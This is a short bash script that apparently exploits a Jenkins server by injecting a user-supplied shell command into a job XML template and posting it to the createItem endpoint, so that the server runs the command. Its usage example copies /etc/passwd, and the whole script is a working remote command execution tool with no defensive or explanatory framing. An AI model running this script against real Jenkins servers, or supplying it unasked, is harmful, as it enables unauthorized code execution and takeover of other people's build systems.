#!/bin/bash

target=$1
cmd=$2
jobname=boh3ti8AGh

if [[ -z "$cmd" ]]; then
    echo $0 http://127.0.0.1:8080/jenkins/ "cp /etc/passwd /tmp"
    exit
fi

sed "s#COMMAND_TO_EXECUTE#$cmd#" data.xml > tmp.xml
curl $target/createItem?name="$jobname" --data-binary @tmp.xml -H 'Content-Type: application/xml'
rm -f tmp.xml
